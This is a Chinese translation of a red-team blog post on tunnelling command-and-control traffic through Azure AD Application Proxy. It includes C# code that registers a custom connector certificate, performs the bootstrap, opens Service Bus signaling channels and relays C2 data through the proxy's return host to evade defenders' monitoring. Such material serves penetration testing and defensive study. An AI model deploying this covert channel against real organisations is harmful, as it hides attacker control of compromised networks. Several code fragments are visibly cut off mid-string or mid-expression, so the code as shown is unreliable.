随着蓝队在识别常见的命令和控制(C2)流量模式方面的能力的不断提高,红队在渗出通信方面遇到了极大的考验,所以,探索推送C2流量的新型方法,也变成了渗透测试过程中不可或缺的一环。对于我们来说,一个常见技巧是使用客户端环境中很难禁用的协议来掩护流量,因此,如果客户端使用Slack进行通信,则可以将C2推送到Slake,这对于防御方的监控能力来说是一个很好的考验。这是否是您在初始访问时发现的易受攻击的Web应用程序?如果是的话,直接创建一个C2网络隧道,您就可以开始干活了!除此之外,我还在许多客户端环境中发现了另一个常见的技术,并且该技术很少引起人们的关注,那就是Azure active Directory(AD)应用程序代理。
在跟向云环境迁移的同时仍需要对外公布其内部应用程序的客户打交道时,您很可能会发现上述情况。那么,应用程序代理目标URL是什么样子呢?如果我们在名为l33t的Azure租户上创建一个名为legit的简单应用程序代理,那么我们最终得到的URL是https[://]legit-133t.msappproxy.net(或者也可以是https[://]legit.l33t.msappproxy.net)。与此URL建立的任何连接都将传递给已部署的应用程序代理连接器,该应用程序代理连接器安装在客户端环境中的本地,其任务是将流量通过隧道方式传输给Web应用程序,并将其响应呈现给用户。
现在,在这种情况下,最常见的做法是将流量扔给某个精心设计的应用程序代理URL,并通过msappproxy.net将其传输给团队服务器。虽然这看起来不错,但这无助于我们融入客户的环境。如果我们反其道而行之,不是以典型的方式推送C2流量,而是通过安装在客户端环境中的代理来提取流量,该怎么处理?在这篇文章中,我们将研究应用程序代理协议及其工作原理,并展示如何组建足够强大的功能以便能够在客户端环境中为C2流量创建自定义的入站代理。
应用程序代理的工作原理
对于许多读者来说,很可能已经发现“应用程序代理”与Azure的另一款流行的产品好像有许多相似之处:服务总线。实际上这种感觉是正确的——应用代理实际上是建立在Azure服务总线(以及其他一些Azure技术)之上的,并使用其传输功能作为内部传递流量的一种方式。不过,就目前来说,这些知识点还是有些超前了。因此,让我们将从头开始,先来设置一个连接器,并将服务启动和运行时产生的流量进行分流。
要创建一个应用代理连接器,我们需要登录自己的Azure门户并下载相应的安装程序。
图1 下载安装应用代理连接器
在安装过程中,会提示我们对Azure AD帐户进行身份验证,通过验证之后才能启动该服务。几分钟后,刷新连接器列表,如果一切正常的话,我们的主机名应该就会弹出。
图2 运行Azure Portal中显示的应用程序代理连接器
部署好连接器之后,我们接下来需要创建一个新的应用程序,以便让安装的连接器将把流量转发到该应用程序上。
图3 在Azure Portal中添加新应用程序
创建好应用程序端点并启动和运行连接器后,我们就可以开始考察TLS的通信流量了。在考察流量方面,Fiddler堪称完美的工具,但是,如果我们试图在Fiddler运行时启动连接器服务,将会遇到一个问题。
图4 Fiddler无法建立TLS连接
这表明应用程序代理可能正在使用客户端证书相互进行身份验证,记住,这是我们遇到的第一个线索。通过快速检查证书存储,我们发现使其确实是这样的。
图5 将SSL证书添加到本地证书存储中
为了帮助Fiddler传递我们的证书,只需导出证书的公钥,并将其作为ClientCertificate.cer添加到~\documents\fiddler2目录中。之后,我们将看到对/connectorbootstrap的后续请求就可以正常进行了,同时,我们还会看到第一个XML blob将被发送到Azure,其中带有与环境有关的信息。
图6 应用程序代理的引导请求
这个请求的响应中,包含了关于如何建立Web Socket通道的相关信息,说明这些通道正在被初始化。我们将在后面的文章中看到,这些Web Socket连接实际上是应用程序代理用来指示入站请求的信号通道,接下来传递的信息将包括请求的URL、发送的参数、提供的cookies和头部信息等等。
图7 基于服务总线的应用代理信号通道
正如我们将在后面看到的那样,这些Web套接字连接实际上是应用程序代理用来指示何时发出入站请求的信令通道,传递诸如请求的URL、发送的参数、cookie和提供的头部数据等信息。
一旦各个信令通道都建立起来,连接器服务就会坐等Azure向其传递数据。当然,当我们向自己的应用程序的URL发出请求时,就会发生这种情况;在这种情况下,我们将看到应用程序代理会出现。通过Web套接字发送信号时,连接器将向/subscriber/admin发出请求,返回的JSON有效载荷中含有连接器应将入站请求转发至何处的信息,在我们的例子中,为转发至http://www.example.com。
图8 /subscriber/admin的响应信息
最后,我们看到一个响应被提交给Azure,其中包含来自目标HTTP服务器的中继数据。这个数据是作为一个分段的POST请求提供给/subscriber/connection的。
图9 通过POST将数据传递给/subscriber/connection,以将其返回给用户
处理完上面的请求后,Web应用程序的内容就会显示在我们的URL中。
图10 来自应用程序代理的响应信息被呈现给用户
好了,我们已经从网络的角度概述了这一切的工作原理,那么,现在是否就可以在入侵目标上安装应用程序代理连接器并结束这篇文章了呢?嗯……事情好像没有这么简单。除非您希望自己删除证书和服务之类的构件,否则我们将需要创建定制版本的应用程序代理连接器,以使其对OpSec更加友好。
创建客户端证书
在重新创建连接器的过程中,我们需要解决的第一件事就是生成客户端证。为此,我们只需导航到以下URL,并生成相应的身份验证令牌:
https://login.microsoftonline.com/common/oauth2/authorize?resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&response_type=code&haschrome=1&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient&client-request-id=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&prompt=login&x-client-SKU=PCL.Desktop&x-client-Ver=3.19.8.16603&x-client-CPU=x64&x-client-OS=Microsoft+Windows+NT+10.0.19041.0
OAuth身份验证完成后,我们将重定向到以下网址:
https://login.microsoftonline.com/common/oauth2/nativeclient?code=EXTRA_LONG_TOKEN_HERE&session_state=SESSION_STATE_HERE
我们需要获取参数code的值(这是我们的身份验证令牌),并向Azure发出第二个请求,以构造一个JWT。为此,我们需要向URL
https://login.microsoftonline.com/common/oauth2/token发送POST请求,并提供相应的参数: protected static string RequestAccessToken(string token) { string result; HttpWebRequest request = (HttpWebRequest)WebRequest.CreateHttp(OAuthEndpoint); request.Method = "POST"; request.Headers[SKUHeaderName] = SKUHeader; request.Headers[VerHeaderName] = VersionHeader; request.Headers[CPUHeaderName] = CPUHeader; request.Headers[OSHeaderName] = OSHeader; request.Headers[PKeyAuthHeaderName] = PKeyAuthHeader; request.Headers[ClientRequestHeaderName] = Guid.NewGuid().ToString(); request.Headers[ReturnClientHeaderName] = ReturnClientHeader; using (StreamWriter sw = new StreamWriter(request.GetRequestStream())) { sw.Write(String.Format("resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&grant_type=authorization_code&code={0}&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient", token)); } ...
作为响应,我们将收到一个创建客户端证书所需的JWT。
接下来,我们需要生成私钥和相应的Certificate Signing Request。为此,我们可以使用CertEnroll COM类来生成所需的CSR和私钥:
protected static string GenerateCSR() { var objPrivateKey = new CX509PrivateKey(); objPrivateKey.MachineContext = false; objPrivateKey.Length = 2048; objPrivateKey.ProviderType = X509ProviderType.XCN_PROV_RSA_AES; objPrivateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE; objPrivateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES; objPrivateKey.CspInformations = new CCspInformations(); objPrivateKey.CspInformations.AddAvailableCsps(); objPrivateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG; objPrivateKey.Create(); var cert = new CX509CertificateRequestPkcs10(); cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextUser, objPrivateKey, string.Empty); var objExtensionKeyUsage = new CX509ExtensionKeyUsage(); objExtensionKeyUsage.InitializeEncode((X509KeyUsageFlags)X509KeyUsageFlags.XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE | X509KeyUsageFlags.XCN_CERT_NON_REPUDIATION_KEY_USAGE | X509KeyUsageFlags.XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE | X509KeyUsageFlags.XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE ); cert.X509Extensions.Add((CX509Extension)objExtensionKeyUsage); var cobjectId = new CObjectId(); cobjectId.InitializeFromName(CERTENROLL_OBJECTID.XCN_OID_PKIX_KP_CLIENT_AUTH); var cobjectIds = new CObjectIds(); cobjectIds.Add(cobjectId); var pValue = cobjectIds; var cx509ExtensionEnhancedKeyUsage = new CX509ExtensionEnhancedKeyUsage(); cx509ExtensionEnhancedKeyUsage.InitializeEncode(pValue); cert.X509Extensions.Add((CX509Extension)cx509ExtensionEnhancedKeyUsage); var cx509Enrollment = new CX509Enrollment(); cx509Enrollment.InitializeFromRequest(cert); var output = cx509Enrollment.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64); return output; }
获得CSR之后,就可以使用WCF通过端点https://[AZURE-SUBSCRIPTION-ID].registration.msappproxy.net/register将其传递给Azure。由于WCF代码相当长,所以我不会在这里介绍所有的WCF代码,但概括来说,它的作用就是传递RegistrationRequest对象中经过编码的CSR以及关于连接器机器的一些细节信息。我们传递的对象将被填充下列内容:
var registrationRequest = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequest() { Base64Csr = output, Feature = Microsoft.ApplicationProxy.Common.ConnectorFeature.ApplicationProxy, FeatureString = Feature, RegistrationRequestSettings = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequestSettings() { SystemSettingsInformation = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings() { MachineName = MachineName, OsLanguage = OSLanguage, OsLocale = OSLocale, OsSku = OSSKU, OsVersion = OSVersion }, PSModuleVersion = PSModuleVersion, SystemSettings = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings() { MachineName = MachineName, OsLanguage = OSLanguage, OsLocale = OSLocale, OsSku = OSSKU, OsVersion = OSVersion } }, TenantId = tennantID.Value, UserAgent = UserAgent };
作为我们的请求的响应,我们将被授予签名证书,有了它,我们就可以生成PFX。之后,我们可以把它导出到一个新文件中,并将该文件绑定到我们精心构造的连接器中:
var certifiateData = result.Certificate; var certificateEnrollmentContext = X509CertificateEnrollmentContext.ContextUser; CX509Enrollment cx509Enrollment = new CX509Enrollment(); cx509Enrollment.Initialize(certificateEnrollmentContext); cx509Enrollment.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate, Convert.ToBase64String(certificateData), EncodingType.XCN_CRYPT_STRING_BASE64, null); // Export PFX to file with password 'password' var pfx = cx509Enrollment.CreatePFX("password", PFXExportOptions.PFXExportChainNoRoot, EncodingType.XCN_CRYPT_STRING_BASE64); using (var fs = File.OpenWrite(outputPath)) { var decoded = Convert.FromBase64String(pfx); fs.Write(decoded, 0, decoded.Length); }
最后,我们需要知道连接器ID UUID。实际上,我们可以在Azure Portal的应用代理连接器设置中找到它。
图11 Azure Portal中显示的连接器ID UUID
读者可以在这里找到自动完成上述过程的POC的源代码。
创建我们自己的连接器
现在我们已经获得了签名所需的证书,那么,如何通过应用程序代理与Azure对话呢?我建议阅读本节以及已发布的POC代码(见这里),以便更好地了解我们正在做的事情。
由于这项技术依赖于服务总线,因此,我们需要安装NuGet包WindowsAzure.ServiceBus。
通过初步审查,我们知道需要向端点https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net发送一个引导请求。当向应用代理发送任何请求时,我们必须确保只使用TLS 1.2,为此,可以进行如下所示的设置:
ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;
此外,我们还必须确保服务总线是运行在HTTPS协议而非TCP协议之上,为此,可以设置如下:
ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;
然后,我们就可以使用以下方法创建WCF通道了:
if (!Uri.TryCreate(String.Format("https://为了进一步解释这个blob,我们需要让.NET在向serviceEndpoint发送请求时使用先前在clientCert中生成的客户端证书,它将被设置为https://[AZURE-SUBSCRIPTION-ID].bootstrap.msAppProxy.net。
这个请求将作为BootstrapRequest对象发送,因此,我们需要为其填充相应的参数:
private const string LastNETVersion = "461814"; private const string MachineName = "poc.lab.local"; private const string OSLanguage = "1033"; private const string OSLocale = "0409"; private const string OSSKU = "79"; private const string OSVersion = "10.0.17763"; private const string SDKVersion = "1.5.1975.0"; ... BootstrapRequest request = new BootstrapRequest { InitialBootstrap = true, ConsecutiveFailures = 0, RequestId = requestId, SubscriptionId = SubscriptionId, ConnectorId = ConnectorId, AgentVersion = SDKVersion, AgentSdkVersion = SDKVersion, ProxyDataModelVersion = SDKVersion, BootstrapDataModelVersion = SDKVersion, MachineName = MachineName, OperatingSystemVersion = OSVersion, OperatingSystemSKU = OSSKU, OperatingSystemLanguage = OSLanguage, OperatingSystemLocale = OSLocale, UseSpnegoAuthentication = false, UseServiceBusTcpConnectivityMode = false, IsProxyPortResponseFallbackDisabledFromRegistry = true, CurrentProxyPortResponseMode = "Primary", UpdaterStatus = "Running", LatestDotNetVersionInstalled = LastNETVersion, PerformanceMetrics = new ConnectorPerformanceMetrics(new List };
最后,我们可以将该请求发送给Azure并检索其响应:
var bootstrapService = serviceChannel.CreateChannel(); var resp = bootstrapService.ConnectorBootstrapAsync(request); var result = resp.GetAwaiter().GetResult();
获得响应后,我们需要使用服务总线来设置Web套接字通道。我们可以使用从引导请求返回的SignalingListenerEndpoints对象的列表来构造我们的信令Web套接字通道:
// Generate the websocket URL from the returned ServiceBusSignalingListenerEndpointSettings string address = string.Format("{0}://{1}.{2}/{3}", signallingEndpointSettings.Scheme, signallingEndpointSettings.Namespace, signallingEndpointSettings.Domain, signallingEndpointSettings.ServicePath ); if (!Uri.TryCreate(address, UriKind.Absolute, out signallingURI)) { throw new BootstrapException(String.Format("Could not parse provided signalling URI: {0}", address)); } var host = new ServiceHost(typeof(ConnectorSignalingService), signallingURI); var tokenProvider = TokenProvider.CreateSharedAccessSignatureTokenProvider(signallingEndpointSettings.SharedAccessKeyName, signallingEndpointSettings.SharedAccessKey); var endpoint = host.AddServiceEndpoint(typeof(Microsoft.ApplicationProxy.Common.SignalingDataModel.IConnectorSignalingService), binding, address); var transportClientEndpointBehavior = new TransportClientEndpointBehavior(tokenProvider); endpoint.EndpointBehaviors.Add(statusBehavior); endpoint.EndpointBehaviors.Add(transportClientEndpointBehavior); host.Open();
在我们的示例中,通过服务总线公开的服务需要符合IConnectorSignalingService接口的要求:
[ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, Namespace = "Microsoft.ApplicationProxy.Connector.Listener")] public class ConnectorSignalingService : IConnectorSignalingService {
该接口要求我们公开一个SignalConnectorAsync方法,以便向该方法传递关于入站请求的信息:
public Task { ... }
现在,当请求通过服务总线传入时,我们将收到一个SignalMessage对象参数,该参数包含一些基本信息,其中包括ReturnHost(入站请求的响应将传递给它)。
图12 message对象的变量
现在,我们可以看到有关入站请求的信息——当然是通过隧道传输C2流量时必不可少的信息。
图13 来自入站服务总线通道的HTTP信息
到目前为止,还有一些问题没有得到解决。在信令请求中,我们可以看到有关GET请求的信息,但是POST请求的内容呢?为了进一步获取相关的数据,我们需要向下面的URL发送请求:
https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST;
在该请求的响应中,含有作为请求的一部分发送的所有数据:
图14 来自应用程序代理的POST数据
在这个阶段,我们需要实际处理这个请求。当然,现在合法的应用程序代理连接器会将这个请求中继到一些内部服务,但是在我们的例子中,我们希望通过这个通道运行C2,所以我们只要实现了外部C2,我们就不需要在任何地方中继请求了。
一旦我们有数据要从外部C2返回,我们就需要再次使用下面URL向ReturnHost发送HTTPS请求:
https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST
在这里,我们将通过POST方式返回数据:
const string SubscriberConnection = "https://好了,进行身份验证,创建服务总线信令通道以及通过应用程序代理传输数据的过程到此就大功告成了。上述工作一切顺利的话,我们就能获得一个顺手的外部C2连接:
对于本文的完整POC代码,可以从这里下载。
小结
在本文中,我们为读者介绍了一种非常有趣的隧道通信技术,希望能够对大家的渗透测试工作有所帮助。
本文翻译自:https://www.trustedsec.com/blog/azure-application-proxy-c2/如若转载,请注明原文地址